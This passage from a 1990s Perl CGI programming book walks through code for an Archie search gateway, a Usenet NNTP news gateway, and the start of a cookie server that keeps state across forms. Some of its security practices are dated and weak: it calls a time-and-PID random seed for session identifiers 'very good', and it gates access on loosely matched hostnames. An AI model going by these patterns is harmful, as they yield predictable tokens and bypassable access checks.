  'University of Nebrasksa (USA)',   'archie.unl.edu' );

Some of the Archie servers and their IP names are stored in an associative array. We will create the form for this gateway dynamically, listing all of the servers located in this array.

$request_method = $ENV{'REQUEST_METHOD'};
if ($request_method eq "GET") {
    &display_form ();

The form will be created and displayed if this program was accessed with the browser.

} elsif ($request_method eq "POST") {
    &parse_form_data (*FORM);
    $command = &parse_archie_fields ();

All of the form data is decoded and stored in the FORM associative array. The parse_archie_fields subroutine uses the form data in constructing a query to be passed to the Archie client.

    $SIG{'ALRM'} = "time_to_exit";
    alarm ($timeout_value);

To understand how this array is used, you have to understand that the UNIX kernel checks every time an interrupt or break arrives for a program, and asks, "What routine should I call?" The routine that the program wants called is a signal handler. Perl associates a handler with a signal in the SIG associative array.

As shown above, the traditional way to implement a time-out is to set an ALRM signal to be called after a specified number of seconds. The first line says that when an alarm is signaled, the time_to_exit subroutine should be executed. The Perl alarm call on the second line schedules the ALRM signal to be sent in the number of seconds represented by the $timeout_value variable.

    open (ARCHIE, "$archie $command |");
    $first_line = <ARCHIE>;

A pipe is opened to the Archie client. The command variable contains a "query" that specifies various command-line options, such as search type and Archie server address, as well as the string to search for. The parse_archie_fields subroutine makes sure that no shell metacharacters are specified, since the command variable is "exposed" to the shell.

    if ($first_line =~ /(failed|Usage|WARNING|Timed)/) {
        &return_error (500, $error,
            "The archie client encountered a bad request.");
    } elsif ($first_line =~ /No [Mm]atches/) {
        &return_error (500, $error,
        "There were no matches for <B>$FORM{'query'}</B>.");
    }

If the first line from the Archie server contains either an error or a "No Matches" string, the return_error subroutine is called to return a more friendly (and verbose) message. If there is no error, the first line is usually blank.

    print "Content-type: text/html", "\n\n";
    print "<HTML>", "\n";
    print "<HEAD><TITLE>", "CGI Archie Gateway", "</TITLE></HEAD>", "\n";
    print "<BODY>", "\n";
    print "<H1>", "Archie search for: ", $FORM{'query'}, "</H1>", "\n";
    print "<HR>", "<PRE>", "\n";

The usual type of header information is output. The following lines of code parse the output from the Archie server, and create hypertext links to the matched files. Here is the typical format for the Archie server output. It lists each host where a desired file (in this case, emacs) is found, followed by a list of all publicly accessible directories containing a file of that name. Files are listed in long format, so you can see how old they are and what their sizes are.

Host amadeus.ireq-robot.hydro.qc.ca
    Location: /pub
      DIRECTORY drwxr-xr-x        512  Dec 18 1990  emacs
Host anubis.ac.hmc.edu
    Location: /pub
      DIRECTORY drwxr-xr-x        512  Dec  6 1994  emacs
    Location: /pub/emacs/packages/ffap
      DIRECTORY drwxr-xr-x        512  Apr  5 02:05  emacs
    Location: /pub/perl/dist
      DIRECTORY drwxr-xr-x        512  Aug 16 1994  emacs
    Location: /pub/perl/scripts/text-processing
           FILE -rwxrwxrwx         16  Feb 25 1994  emacs

We can enhance this output by putting in hypertext links. That way, the user can open a connection to any of the hosts with a click of a button and retrieve the file. Here is the code to parse this output:

    while (<ARCHIE>) {
        if ( ($host) = /^Host (\S+)$/ ) {
            $host_url = join ("", "ftp://", $host);
            s|$host|<A HREF="$host_url">$host</A>|;
            <ARCHIE>;

If the line starts with a "Host", the specified host is stored. A URL to the host is created with the join function, using the ftp scheme and the hostname--for example, if the hostname were ftp.ora.com, the URL would be ftp://ftp.ora.com. Finally, the blank line after this line is discarded.

        } elsif (/^\s+Location:\s+(\S+)$/) {
            $location = $1;
            s|$location|<A HREF="${host_url}${location}">$location</A>|;
        } elsif ( ($type, $file) = /^\s+(DIRECTORY|FILE).*\s+(\S+)/) {
            s|$type|<I>$type</I>|;
            s|$file|<A HREF="${host_url}${location}/${file}">$file</A>|;
        } elsif (/^\s*$/) {
            print "<HR>";
        }

        print;
    }

One subtle feature of regular expressions is shown here: They are "greedy," eating up as much text as they can. The expression (DIRECTORY|FILE).*\s+ means match DIRECTORY or FILE, then match as many characters as you can up to whitespace. There are chunks of whitespace throughout the line, but the .* takes up everything up to the last whitespace. This leaves just the word "emacs" to match the final parenthesized expression (\S+).

[Graphic: Figure from the text]

The rest of the lines are read and parsed in the same manner and displayed (see Figure 10.1). If the line is empty, a horizontal rule is output--to indicate the end of each entry.

Figure 10.1: Archie results

[Graphic: Figure 10-1]

    $SIG{'ALRM'} = "DEFAULT";
    close (ARCHIE);
    print "</PRE>";
    print "</BODY></HTML>", "\n";

Finally, the ALRM signal is reset, and the file handle is closed.

} else {
    &return_error (500, $error, "Server uses unspecified method");
}
exit (0);

Remember how we set the SIG array so that a signal would cause the time_to_exit subroutine to run? Here it is:

sub time_to_exit
{
    close (ARCHIE);
    &return_error (500, $error,
        "The search was terminated after $timeout_value seconds.");
}

When this subroutine runs, it means that the 180 seconds that were allowed for the search have passed, and that it is time to terminate the script. Generally, the Archie server returns the matched FTP sites and its files quickly, but there are times when it can be queued up with requests. In such a case, it is wise to terminate the script, rather than let the user wait for a long period of time.

Now, we have to build a command that the Archie client recognizes using the parse_archie_fields subroutine:

sub parse_archie_fields
{
    local ($query, $server, $type, $address, $status, $options);
    $status = 1;
    $query = $FORM{'query'};
    $server = $FORM{'server'};
    $type = $FORM{'type'};
    if ($query !~ /^\w+$/) {
        &return_error (500, $error,
            "Search query contains invalid characters.");

If the query field contains non-alphanumeric characters (characters other than A-Z, a-z, 0-9, _), an error message is output.

    } else {
        foreach $address (keys %servers) {
            if ($server eq $address) {
                $server = $servers{$address};
                $status = 0;
            }
        }

The foreach loop iterates through the keys of the servers associative array. If the user-specified server matches the name as contained in the array, the IP name is stored in the server variable, and the status is set to zero.

        if ($status) {
            &return_error (500, $error, "Please select a valid archie host.");

A status of non-zero indicates that the user specified an invalid address for the Archie server.

        } else {
            if ($type eq "cs_sub") {
                $type = "-c";
            } elsif ($type eq "ci_sub") {
                $type = "-s";
            } else {
                $type = "-e";
            }

If the user selected "Case Sensitive Substring", the "-c" switch is used. The "-s" switch indicates a "Case Insensitive Substring". If the user did not select any option, the "-e" switch ("Exact Match") is used.

            $options = "-h $server $type $query";
            return ($options);
        }
    }
}

A string containing all of the options is created, and then returned to the main program.

Our last task is a simple one--to create a form that allows the user to enter a query, using the display_form subroutine. The program creates the form dynamically because some information is subject to change (i.e., the list of servers).

sub display_form
{
    local ($archie);
    print <<End_of_Archie_One;
Content-type: text/html
<HTML>
<HEAD><TITLE>Gateway to Internet Information Servers</TITLE></HEAD>
<BODY>
<H1>CGI Archie Gateway</H1>
<HR>
<FORM ACTION="/cgi-bin/archie.pl" METHOD="POST">
Please enter a string to search from: <BR>
<INPUT TYPE="text" NAME="query" SIZE=40>
<P>
What archie server would you like to use (<B>please</B>, be considerate
and use the one that is closest to you): <BR>
<SELECT NAME="server" SIZE=1>
End_of_Archie_One
    foreach $archie (sort keys %servers) {
        if ($servers{$archie} eq $default_server) {
            print "<OPTION SELECTED>", $archie, "\n";
        } else {
            print "<OPTION>", $archie, "\n";
        }
    }

This loop iterates through the associative array and displays all of the server names.

    print <<End_of_Archie_Two;
</SELECT>
<P>
Please select a type of search to perform: <BR>
<INPUT TYPE="radio" NAME="type" VALUE="exact" CHECKED>Exact<BR>
<INPUT TYPE="radio" NAME="type" VALUE="ci_sub">Case Insensitive Substring<BR>
<INPUT TYPE="radio" NAME="type" VALUE="cs_sub">Case Sensitive Substring<BR>
<P>
<INPUT TYPE="submit" VALUE="Start Archie Search!">
<INPUT TYPE="reset"  VALUE="Clear the form">
</FORM>
<HR>
</BODY>
</HTML>
End_of_Archie_Two
}

The dynamic form looks like that in Figure 10.2.

Figure 10.2: Archie form

[Graphic: Figure 10-2]

This was a rather simple program because we did not have to deal with the Archie server directly, but rather through a pre-existing client. Now, we will look at an example that is a little bit more complicated.

Previous | Home | Next
Checking Hypertext (HTTP) Links | Book Index | Network News on the Web
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.7 Network News on the Web

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.7 Network News on the Web

NNTP (Network News Transfer Protocol) is the most popular software used to transmit Usenet news over the Internet. It lets the receiving (client) system tell the sending (server) system which newsgroups to send, and which articles from each group. NNTP accepts commands in a fairly simple format. It sends back a stream of text consisting of the articles posted and occasional status information.

This CGI gateway communicates with an NTTP server directly by using socket I/O. The program displays lists of newsgroups and articles for the user to choose from. You will be able to read news from the specified newsgroups in a threaded fashion (all the replies to each article are grouped together).

#!/usr/local/bin/perl
require "sockets.pl";
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$error = "CGI NNTP Gateway Error";
%groups = ( 'cgi',     'comp.infosystems.www.authoring.cgi',
            'html',    'comp.infosystems.www.authoring.html',
            'images',  'comp.infosystems.www.authoring.images',
            'misc',    'comp.infosystems.www.authoring.misc',
            'perl',    'comp.lang.perl.misc' );

The groups associative array contains a list of the newsgroups that will be displayed when the form is dynamically created.

$all_groups = '(cgi|html|images|misc|perl)';

The all_groups variable contains a regular expression listing all of the keys of the groups associative array. This will be used to ensure that a valid newsgroup is specified by the user.

$nntp_server = "nntp.bu.edu";

The NNTP server is set to "nntp.bu.edu". If you do not want users from domains other than "bu.edu" to access this form, you can set up a simple authentication scheme like this:

$allowed_domain = "bu.edu";
$remote_host = $ENV{'REMOTE_HOST'};
($remote_domain) = ($remote_host =~ /([^.]+\.[^.]+)$/);
if ($remote_domain ne $allowed_domain) {
    &return_error (500, $error, "Sorry! You are not allowed to read news!");
}

The regular expression used above extracts the domain name from an IP name or address.

[Graphic: Figure from the text]

Or, you can allow multiple domains like this:

$allowed_domains = "(bu.edu|mit.edu|perl.com)";
$remote_host = $ENV{'REMOTE_HOST'};
if ($remote_host !~ /$allowed_domains$/o) {
    &return_error (500, $error, "Sorry! You are not allowed to read news!");
}

To continue with the program:

&parse_form_data (*NEWS);
$group_name = $NEWS{'group'};
$article_number = $NEWS{'article'};

There is no form front end to this CGI gateway. Instead, all parameters are passed as query information (GET method). If you access this application without a query, a document listing all the newsgroups is listed. Once you select a newsgroup from this list, the program is invoked again, this time with a query that specifies the newsgroup you want. For instance, if you want the newsgroup whose key is "images", this query is passed to the program:

http://some.machine/cgi-bin/nntp.pl?group=images

The groups associative array associates the string "images" with the actual newsgroup name. This is a more secure way of handling things--much like the way the Archie server names were passed instead of the actual IP names in the previous example. If the program receives a query like the one above, it displays a list of the articles in the newsgroup. When the user chooses an article, the query information will look like this:

http://some.machine/cgi-bin/nntp.pl?group=images&article=18721

This program will then display the article.

if ($group_name =~ /\b$all_groups\b/o) {
   $selected_group = $groups{$group_name};

This block of code will be executed only if the group field consists of a valid newsgroup name, as stored in all_groups. The actual newsgroup name is stored in the selected_group variable.

    &open_connection (NNTP, $nntp_server, "nntp") ||
          &return_error (500, $error, "Could not connect to NNTP server.");
    &check_nntp ();

A socket is opened to the NNTP server. The server usually runs on port 119. The check_nntp subroutine checks the header information that is output by the server upon connection. If the server issues any error messages, the script terminates.

    ($first, $last) = &set_newsgroup ($selected_group);

The NNTP server keeps track of all the articles in a newsgroup by numbering them in ascending order, starting at some arbitrary number. The set_newsgroup subroutine returns the identification number for the first and last articles.

    if ($article_number) {
        if (($article_number < $first) || ($article_number > $last)) {
            &return_error (500, $error,
                 "The article number you specified is not valid.");
        } else {
            &show_article ($selected_group, $article_number);
        }

If the user selected an article from the list that was dynamically generated when a newsgroup is selected, this branch of code is executed. The article number is checked to make sure that it lies within the valid range. You might wonder why we need to check this, since the list that is presented to the user is based on the range generated by the set_newsgroup subroutine. The reason for this is that the NNTP server lets articles expire periodically, and articles are sometimes deleted by their author. If sufficient time passes between the time the list is displayed and the time the user makes a selection, the specified article number could be invalid. In addition, I like to handle the possibility that a user hardcoded a query.

    } else {
        &show_all_articles ($group_name, $selected_group, $first, $last);
    }

If no article is specified, which happens when the user selects a newsgroup from the main HTML document, the show_all_articles subroutine is called to display a list of all the articles for the selected newsgroup.

    print NNTP "quit", "\n";
    &close_connection (NNTP);

Finally, the quit command is sent to the NNTP server, and the socket is closed.

} else {
    &display_newsgroups ();
}
exit (0);

If this program is accessed without any query information, or if the specified newsgroup is not among the list stored in the groups associative array, the display_newsgroups subroutine is called to output the valid newsgroups.

The following print_header subroutine displays a MIME header, and some HTML to display the title and the header.

sub print_header
{
    local ($title) = @_;
    print "Content-type: text/html", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>", $title, "</TITLE></HEAD>", "\n";
        print "<BODY>", "\n";
    print "<H1>", $title, "</H1>", "\n";
    print "<HR>", "<BR>", "\n";
}

The print_footer subroutine outputs the webmaster's address.

sub print_footer
{
    print "<HR>", "\n";
    print "<ADDRESS>", $webmaster, "</ADDRESS>", "\n";
        print "</BODY></HTML>", "\n";
}

The escape subroutine "escapes" all characters except for alphanumeric characters and whitespace. The main reason for this is so that "special" characters are displayed properly.

sub escape
{
    local ($string) = @_;
    $string =~ s/([^\w\s])/sprintf ("&#%d;", ord ($1))/ge;
    return ($string);
}

For example, if an article in a newsgroup contains:

From: joe@test.net (Joe Test)
Subject: I can't get the <H1> headers to display correctly

The browser will actually interpret the "<H1>", and the rest of the document will be messed up. This subroutine escapes the text so that it looks like this:

From&#58; joe&#64;test&#46;net &#40;Joe Test&#41;
Subject&#58; I can&#39;t get the &#60;H1&#62; headers to display correctly

A web client can interpret any string in the form &#n, where n is the ASCII code of the character. This might slow down the display slightly, but it is much safer than escaping specific characters only.

The check_nntp subroutine continuously reads the output from the NNTP server until the return status is either a success (200 or 201) or a failure (4xx or 5xx). You might have noticed that these status codes are very similar to the HTTP status code. In fact, most Internet servers that follow a standard use these codes.

sub check_nntp
{
    while (<NNTP>) {
        if (/^(200|201)/) {
            last;
        } elsif (/^4|5\d+/) {
            &return_error (500, $error, "The NNTP server returned an error.");
        }
    }
}

The set_newsgroup subroutine returns the first and last article numbers for the newsgroup.

sub set_newsgroup
{
    local ($group) = @_;
    local ($group_info, $status, $first_post, $last_post);
    print NNTP "group ", $group, "\n";

The group command is sent to the NNTP server. In response to this, the server sets its current newsgroup to the one specified, and outputs information in the following format:

group comp.infosystems.www.authoring.cgi
211 1289 4776 14059 comp.infosystems.www.authoring.cgi

The first column indicates the status of the operation ( 211 being a success). The total number of articles, the first and last articles, and the newsgroup name constitute the rest of the line, respectively. As you can see, the number of articles is not equal to the numerical difference of the first and last articles. This is due to article expiration and deletion (as mentioned above).

    $group_info = <NNTP>;
    ($status, $first_post, $last_post) = (split (/\s+/, $group_info))[0, 2, 3];

The server output is split on whitespace, and the first, third, and fourth elements are stored in status, first_post, and last_post, respectively. Remember, arrays are zero based; the first element is zero, not one.

    if ($status != 211) {
        &return_error (500, $error,
                            "Could not get group information for $group.");
    } else {
        return ($first_post, $last_post);
    }
}

If the status is not 211, an error message is displayed. Otherwise, the first and last article numbers are returned.

In the show_article subroutine, the actual news article is retrieved and printed.

sub show_article
{
    local ($group, $number) = @_;
    local ($useful_headers, $header_line);

    $useful_headers = '(From:|Subject:|Date:|Organization:)';
    print NNTP "head $number", "\n";
    $header_line = <NNTP>;

The head command displays the headers for the specified article. Here is the format of the NNTP output:

221 14059 <47hh6767ghe1$d09@nntp.test.net> head
Path: news.bu.edu!decwrl!nntp.test.net!usenet
From: joe@test.net (Joe Test)
Newsgroups: comp.infosystems.www.authoring.cgi
Subject: I can't get the <H1> headers to display correctly
Date: Thu, 05 Oct 1995 05:19:03 GMT
Organization: Joe's Test Net
Lines: 17
Message-ID: <47hh6767ghe1$d09@nntp.test.net>
Reply-To: joe@test.net
NNTP-Posting-Host: my.news.test.net
X-Newsreader: Joe Windows Reader v1.28
.

The first line contains the status, the article number, the article identification, and the NNTP command, respectively. The status of 221 indicates success. All of the other lines constitute the various article headers, and are based on how and where the article was posted. The header body ends with the "." character.

    if ($header_line =~ /^221/) {
        &print_header ($group);
        print "<PRE>", "\n";

If the server returns a success status of 221, the print_header subroutine is called to display the MIME header, followed by the usual HTML.

        while (<NNTP>) {
            if (/^$useful_headers/) {
                $_ = &escape ($_);
                print "<B>", $_, "</B>";
            } elsif (/^\.\s*$/) {
                last;
            }
        }

This loop iterates through the header body, and escapes and displays the From, Subject, Date, and Organization headers.

        print "\n";
        print NNTP "body $number", "\n";
        <NNTP>;

If everything is successful up to this point, the body command is sent to the server. In response, the server outputs the body of the article in the following format:

body 14059
222 14059 <47hh6767ghe1$d09@nntp.test.net> body
I am trying to display headers using the <H1> tag, but it does not
seem to be working. What should I do? Please help.
Thanks in advance,
-Joe
.

There is no need to check the status of this command, if the head command executed successfully. The server returns a status of 222 to indicate success.

        while (<NNTP>) {
            last if (/^\.\s*$/);
            $_ = &escape ($_);
            print;
        }

The while loop iterates through the body, escapes all the lines, and displays them. If the line starts with a period and contains nothing else but whitespace, the loop terminates.

        print "</PRE>", "\n";
        &print_footer ();
    } else {
        &return_error (500, $error,
            "Article number $number could not be retrieved.");
    }
}

If the specified article is not found, an error message is displayed.

The following subroutine reads all of the articles for a particular group into memory, threads them--all replies to a specific article are grouped together for reading convenience--and displays the article numbers and subject lines.

sub show_all_articles
{
    local ($id, $group, $first_article, $last_article) = @_;
    local ($this_script, %all, $count, @numbers, $article,
           $subject, @threads, $query);
    $this_script = $ENV{'SCRIPT_NAME'};
    $count = 0;

This is the most complicated (but the most interesting) part of the program. Before your eyes, you will see a nice web interface grow from some fairly primitive output from the NNTP server.

    print NNTP "xhdr subject $first_article-$last_article", "\n";
    <NNTP>;

The xhdr subject lists all the articles in the specified range in the following format:

xhdr subject 4776-14059
221 subject fields follow
4776 Re: CGI Scripts (guestbook ie)
4831 Re: Access counter for CERN server
12769 Re: Problems using sendmail from Perl script
12770 File upload, Frames and BSCW
-
- (More Articles)
-
.

The first line contains the status. Again, there is no need to check this, as we know the newsgroup exists. Each article is listed with its number and subject.

    &print_header ("Newsgroup: $group");
    print "<UL>", "\n";
    while (<NNTP>) {
        last if (/^\.\s*$/);
        $_ = &escape ($_);
        ($article, $subject) = split (/\s+/, $_, 2);
        $subject =~ s/^\s*(.*)\b\s*/$1/;
        $subject =~ s/^[Rr][Ee]:\s*//;

The loop iterates through all of the subjects. The split command separates each entry into the article number and subject. Leading and trailing spaces, as well as "Re:" at the beginning of the line are removed from the subject. This is for sorting purposes.

        if (defined ($all{$subject})) {
            $all{$subject} = join ("-", $all{$subject}, $article);
        } else {
            $count++;
            $all{$subject} = join ("\0", $count, $article);
        }
    }

This is responsible for threading the articles. Each new subject is stored in an associative array, $all, keyed by the subject itself. The $count variable gives a unique number to start each value in the array. If the article already exists, the article number is simply appended to the end to the element with the same subject. For example, if the subjects look like this:

2020 What is CGI?
2026 How do you create counters?
2027 Please help with file locking!!!
2029 Re: What is CGI?
2030 Re: What is CGI?
2047 Re: How do you create counters?
.
.
.

Then this is how the associative array will look:

$all{'What is CGI?'} = "1\02020-2029-2030";
$all{'How do you create counters?'} = "2\02026-2047";
$all{'Please help with file locking!!!'} = "3\02027";

Note that we assigned a $count of 1 to the first thread we see ("What's CGI?"), 2 to the second thread, and so on. Later we sort by these numbers, so the user will see threads in the order that they came in to the newsgroup.

    @numbers = sort by_article_number keys (%all);

What you see here is a common Perl technique for sorting. The sort command invokes a subroutine repeatedly (in this case, one that I wrote called by_article_number). Using a fast algorithm, it passes pairs of elements from the $all array to the subroutine.

    foreach $subject (@numbers) {
        $article = (split("\0", $all{$subject}))[1];

The loop iterates through all of the subjects. The list of article numbers for each subject is stored in article. Thus, the $article variable for "What is CGI?" would be:

2020-2029-2030

Now, we work on the string of articles.

        @threads = split (/-/, $article);

The string containing all of the articles for a particular subject are split on the "-" delimiter and stored in the threads array.

        foreach (@threads) {
            $query = join ("", $this_script, "?", "group=", $id,
                       "&", "article=", $_);
            print qq|<LI><A HREF="$query">$subject</A>|, "\n";
        }
    }
    print "</UL>", "\n";
    &print_footer ();
}

The loop iterates through each article number (or thread), and builds a hypertext link containing the newsgroup name and the article number (see Figure 10.3).

Figure 10.3: News articles

[Graphic: Figure 10-3]

The following is a simple subroutine that compares two values of an associative array.

sub by_article_number
{
    $all{$a} <=> $all{$b};
}

This statement is identical to the following:

if ($all{$a} < $all{$b}) {
    return (-1);
} elsif ($all{$a} == $all{$b}) {
    return (0);
} elsif ($all{$a} > $all{$b}) {
    return (1);
}

The $a and $b constitute two values in the associative array. In this case, Perl uses this logic to compare all of the values in the associative array.

The display_newsgroups subroutine creates a dynamic HTML document that lists all the newsgroups contained in the groups associative array.

sub display_newsgroups
{
    local ($script_name, $keyword, $newsgroup, $query);
    &print_header ("CGI NNTP Gateway");
    $script_name = $ENV{'SCRIPT_NAME'};
    print "<UL>", "\n";
    foreach $keyword (keys %groups) {
        $newsgroup = $groups{$keyword};
        $query = join ("", $script_name, "?", "group=", $keyword);
        print qq|<LI><A HREF="$query">$newsgroup</A>|, "\n";
    }
    print "</UL>";
    &print_footer ();
}

Each newsgroup is listed as an unordered list, with the query consisting of the specific key from the associative array. Remember, the qq|...| notation is exactly like the "..." notation, except for the fact that "|" is the delimiter, instead of the double quotation marks.

Previous | Home | Next
Archie | Book Index | Magic Cookies
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.8 Magic Cookies

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.8 Magic Cookies

In Chapter 8, we introduced you to some of the problems of working with multiple forms, and presented a few possible solutions. In this chapter, we approach the problem again, using our new familiarity with clients and servers.

An interface consisting of multiple forms presents thorny problems for CGI. How do you remember the information stored on different forms? A normal graphical interface application (running on a local machine) simply displays forms and stores results, as shown in Figure 10.4.

Figure 10.4: A local application handling multiple forms

[Graphic: Figure 10-4]

It is easy to store information from successive forms when a client and a server are not involved. But when you use CGI, the server invokes the program repeatedly each time a form is submitted. Instead of a single running program, you have multiple instances, as shown in Figure 10.5.

Figure 10.5: Multiple forms over a server

[Graphic: Figure 10-5]

The problem you face is how to tell each instance of the program what data was retrieved by the previous runs.

Temporary files are a simple solution, but a messy one. The program has to know which file to read and write each time. Knowing the right file is complicated when multiple users are running the program at the same time. Furthermore, the information is not very secure, because the files are visible on the system. The time required to access the files can slow down the operation. Finally, you have to remember to clean up the files, when the user goes away and does not finish the session.

A much more elegant solution involves a special server whose job is to maintain state for CGI programs. This server runs continuously, like any other server. CGI programs of all types and purposes can use this server to store information. The big advantage that a server has over temporary files is that the data remains in memory. This makes operations faster and keeps the data much more secure.

The heart of the server approach is that a CGI program knows how to retrieve data that a previous instance of the program sent to the server. Each instance of the program needs a kind of handle so it can find the data. To furnish this access, the server associates a unique identifier with each user who runs the CGI program. The program supplies the identifier when it stores the data, and another instance of the program supplies the identifier again to retrieve the data. Given to colorful language, computer people like to call such identifiers "magic cookies." Using a single cookie, a CGI program can keep track of any amount of data. So the server is called a cookie server, while the CGI program is called the cookie client.

Another major problem has to be solved to use cookies. One instance of the CGI program has to pass the cookie to the next instance. If you look at Figure 10.5, you may see the solution in the arrows: Pass the cookie to the next form, and have the form pass it back. This is the solution we will use in this book. When the CGI program builds each form, it embeds the cookie in a hidden field. When the user submits the form, it passes back the hidden field. The new instance of the program, when it starts up, can retrieve the cookie like any other field, and ask the server for the data. The procedure is shown in Figure 10.6.

Figure 10.6: Cookie server interaction with a Web client and server

[Graphic: Figure 10-6]

Let's trace a cookie, and the data associated with it, through a complete session.

  • The user fills out the first form, and the CGI program is invoked for the first time.

  • The CGI program contacts the server for the first time. The server creates a cookie and passes it to the program. The program also passes data to the server, using the cookie given to it by the server.

  • The program creates the next form for the user, embeds the cookie in a hidden field, and sends the form to the browser.

  • The browser displays the form, which is filled out by the user and submitted. The form passes back the hidden field with the cookie.

  • A new instance of the CGI program begins. It gets the cookie from the form data, and starts contacting the server all over again. This time, the program passes the existing cookie instead of creating a new one.

This is our strategy. Understanding this, you should not have much trouble following the code that is about to follow.

Previous | Home | Next
Network News on the Web | Book Index | Maintaining State with a Server
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.9 Maintaining State with a Server

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.9 Maintaining State with a Server

In Chapter 8, Multiple Form Interaction, we looked at several techniques for keeping track of information between multiple forms. They involved using temporary files, hidden variables, and Netscape Persistent Cookies. Now, we will look at yet another method to keep state. This involves communicating with a server--The Cookie Server--to store and retrieve information.

It will help you understand how cookies work if you see real programs use them. So we will examine a CGI program that displays two forms, and that stores the information returned by calling the cookie server. Here is the first form:

<HTML>
<HEAD><TITLE>College/School Survey</TITLE></HEAD>
<BODY>
<H1>Interests</H1>
<HR>
<FORM ACTION="/cgi-bin/cookie_client.pl?next=/location.html" METHOD="POST">

The ACTION attribute specifies the next form in the series as a query string. The filename is relative to the document root directory.

<INPUT TYPE="hidden" NAME="Magic_Cookie" VALUE="-*Cookie*-">

The string "-*Cookie*-" will be replaced by a random cookie identifier when this form is parsed by the CGI program. This cookie is used to uniquely identify the form information.

What subject are you interested in? <BR>
<INPUT TYPE="text" NAME="subject" SIZE=40>
<P>
What extra-curricular activity do you enjoy the most? <BR>
<INPUT TYPE="text" NAME="interest" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="See Next Form!">
<INPUT TYPE="reset"  VALUE="Clear the form">
</FORM>
<HR>
</BODY>
</HTML>

Here is the second form in the series. It should be stored in a file named location.html because that name was specified in the ACTION attribute of the first form.

<HTML>
<HEAD><TITLE>College/School Survey</TITLE></HEAD>
<BODY>
<H1>Location</H1>
<HR>
<FORM ACTION="/cgi-bin/cookie_client.pl" METHOD="POST">

Since this is the last form in the series, no query information is passed to the program.

<INPUT TYPE="hidden" NAME="Magic_Cookie" VALUE="-*Cookie*-">
Where would you like to go to school? <BR>
<INPUT TYPE="text" NAME="city" SIZE=40>
<P>
What type of college do you prefer? <BR>
<INPUT TYPE="text" NAME="type" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Get Summary!">
<INPUT TYPE="reset"  VALUE="Clear the form">
</FORM>
<HR>
</BODY>
</HTML>

We will do something unusual in this example by not looking at the program that handles these programs right away. Instead, we will examine the cookie server--the continuously running program that maintains state for CGI programs. Then, we will return to the program that parses the forms--the cookie client--and see how it interacts with the server.

Cookie Server

Here I will show a general purpose server for CGI programs running on the local systems. Each CGI program is a cookie client. When it connects, this server enters a long loop accepting commands, as we will see in a moment. Please note that this is not a CGI script. Instead, it provides a data storage service for CGI scripts.

#!/usr/local/bin/perl
require "sockets.pl";
srand (time|$$);

The srand function sets the random number seed. A logical OR of the current time and the process identification number (PID) creates a very good seed.

$HTTP_server = "128.197.27.7";

The IP address of the HTTP server from where the CGI scripts will connect to this server is specified. This is used to prevent CGI programs running on other HTTP servers on the Web to communicate with this server.

$separator = "\034";
$expire_time = 15 * 60;

The expire_time variable sets the time (in seconds) for which a cookie is valid. In this case, a cookie is valid for 15 minutes.

%DATA = ();
$max_cookies = 10;
$no_cookies = 0;

The DATA associative array is used to hold the form information. The max_cookies variable sets the limit for the number of cookies that can be active at one time. And the no_cookies variable is a counter that keeps track of the number of active cookies.

$error = 500;
$success = 200;

These two variables hold the status codes for error and success, respectively.

$port = 5000;
&listen_to_port (SOCKET, $port) || die "Cannot create socket.", "\n";

The listen_to_port function is part of the socket library. It "listens" on the specified port for possible connections. In this case, port number 5000 is used. However, if you do not know what port to set the server on, you can ask the socket library to do it for you:

( ($port) = &listen_to_port (SOCKET) ) || die "Cannot create socket.", "\n";
print "The Cookie Server is running on port number: $port", "\n";

If the listen_to_port function is called in this manner (with one argument), an empty port is selected. You will then have to modify the cookie client (see the next section) to reflect the correct port number. Or, you can ask your system administrator to create an entry in the /etc/services file for the cookie server, after which the client can simply use the name "cookie" to refer to the server.

while (1) {
    ( ($ip_name, $ip_address) = &accept_connection (COOKIE, SOCKET) )
        || die "Could not accept connection.", "\n";

This starts an infinite loop that continually accepts connections. When a connection is established, a new socket handle, COOKIE, is created to deal with it, while the original file handle, SOCKET, goes back to accept more connections. The accept_connection subroutine returns the IP name and address of the remote host. In our case, this will always point to the address of the HTTP server, because the CGI program (or the client) is being executed from that server.

This cookie server, as implemented, can only "talk" to one connection at a time. All other connections are queued up, and handled in the order in which they are received. (Later on, we'll discuss how to implement a server that can handle multiple connections simultaneously.)

    select (COOKIE);
    $cookie = undef;

The default output file handle is set to COOKIE. The cookie variable is used to hold the current cookie identifier.

    if ($ip_address ne $HTTP_server) {
        &print_status ($error, "You are not allowed to connect to server.");

If the IP address of the remote host does not match the address of the HTTP server, the connection is coming from a host somewhere else. We do not want servers running on other hosts connecting to this server and storing information, which could result in a massive system overload! However, you can set this up so that all machines within your domain can access this server to store information.

    } else {
        &print_status ($success, "Welcome from $ip_name ($ip_address)");

A welcome message is displayed if the connection is coming from the right place (our HTTP server). The print_status subroutine simply outputs the status number and the message to standard output.

        while (<COOKIE>) {
            s/[\000-\037]//g;
            s/^\s*(.*)\b\s*/$1/;

The while loop accepts input from the socket continuously. All control characters, as well as leading and trailing spaces, are removed from the input. This server accepts the following commands:

new remote-address
cookie cookie-identifier remote-address
key = value
list
delete

We will discuss each of these in a moment.

            if ( ($remote_address) = /^new\s*(\S+)$/) {

The new command creates a new and unique cookie and outputs it to the socket. The remote address of the host that is connected to the HTTP server should be passed as an argument to this command. This makes it difficult for intruders to break the server, as you will see in a minute. Here is an example of how this command is used, and its typical output (with the client's command in bold):

new www.test.net
200: 13fGK7KIlZSF2

The status along with a unique cookie identifier is output. The client should parse this line, get the cookie, and insert it in the form, either as a query or a hidden variable.

                if ($cookie) {
                    &print_status ($error,
                                    "You already have a cookie!");

If the cookie variable is defined, an error message is displayed. This would only occur if you try to call the new command multiple times in the same session.

                } else {
                    if ($no_cookies >= $max_cookies) {
                        &print_status ($error,
                                        "Cookie limit reached.");
                    } else {
                        do {
                            $cookie = &generate_new_cookie
